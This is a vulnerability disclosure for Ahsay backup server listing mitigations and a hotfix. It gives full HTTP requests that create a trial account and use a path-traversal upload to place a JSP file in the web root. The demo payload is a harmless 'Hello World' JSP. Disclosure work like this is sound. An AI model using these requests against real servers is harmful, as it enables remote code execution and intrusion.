Currently Ahsay has not released an official update.
Disable Trial Account Set complex password Ask Ahsay for a update
Update 29-7-2019: for paying customers there is a hotfix released, “v18.104.22.168”, through there Partner Portal at: https://www.ahsay.com/partners/en/home/index.jsp?pageContentKey=ahsay_assets_hotfix-v8
To exploit this vulnerability we need create a trial account or have valid credentials. By default trial account creation is enabled. We can verify if a system has trial accounts enabled with the following POST request to the server.
POST /obs/obm7/user/isTrialEnabled HTTP/1.1 Host: 172.16.238.175 Connection: close Content-Length: 0
If the server replies withe “ENABLED” we can create a trial account.
Creating the trial account we first need to base64 encode the username and password and place these in the POST request header like below:
POST /obs/obm7/user/addTrialUser HTTP/1.1 Host: 172.16.238.175 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) X-RSW-custom-encode-username: Z3pTc1pnMmE= X-RSW-custom-encode-password: elh1QmtRU24wMTU3MF4= Content-Type: application/x-www-form-urlencoded Content-Length: 0 Connection: close
If the account is created succesfully the server will respond with “HTTP/1.1 200 OK”
Now for the upload part, we can upload any file to any location on the server as long as the Ahsay server user has privileges to.
For this to work we need to set the following headers and base64 encode the content:
X-RSW-Request-0: Z3pTc1pnMmE= (Username) X-RSW-Request-1: elh1QmtRU24wMTU3MF4= (Password) X-RSW-custom-encode-path: Li4vLi4vd2ViYXBwcy9jYnMvaGVscC9lbi9oZWxsb193b3JsZC5qc3A= (path and filename)
Below the full PUT request to upload
PUT /obs/obm7/file/upload HTTP/1.1 Host: 172.16.238.175 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) X-RSW-Request-0: Z3pTc1pnMmE= X-RSW-Request-1: elh1QmtRU24wMTU3MF4= X-RSW-custom-encode-path: Li4vLi4vd2ViYXBwcy9jYnMvaGVscC9lbi9oZWxsb193b3JsZC5qc3A= Content-Length: 98 Connection: close <%= "Hello World!" %>
The server should respond with
HTTP/1.1 201 Created and in this case we can access the file in a browser. https://172.16.238.175/cbs/help/en/hello_world.jsp returning “Hello World!”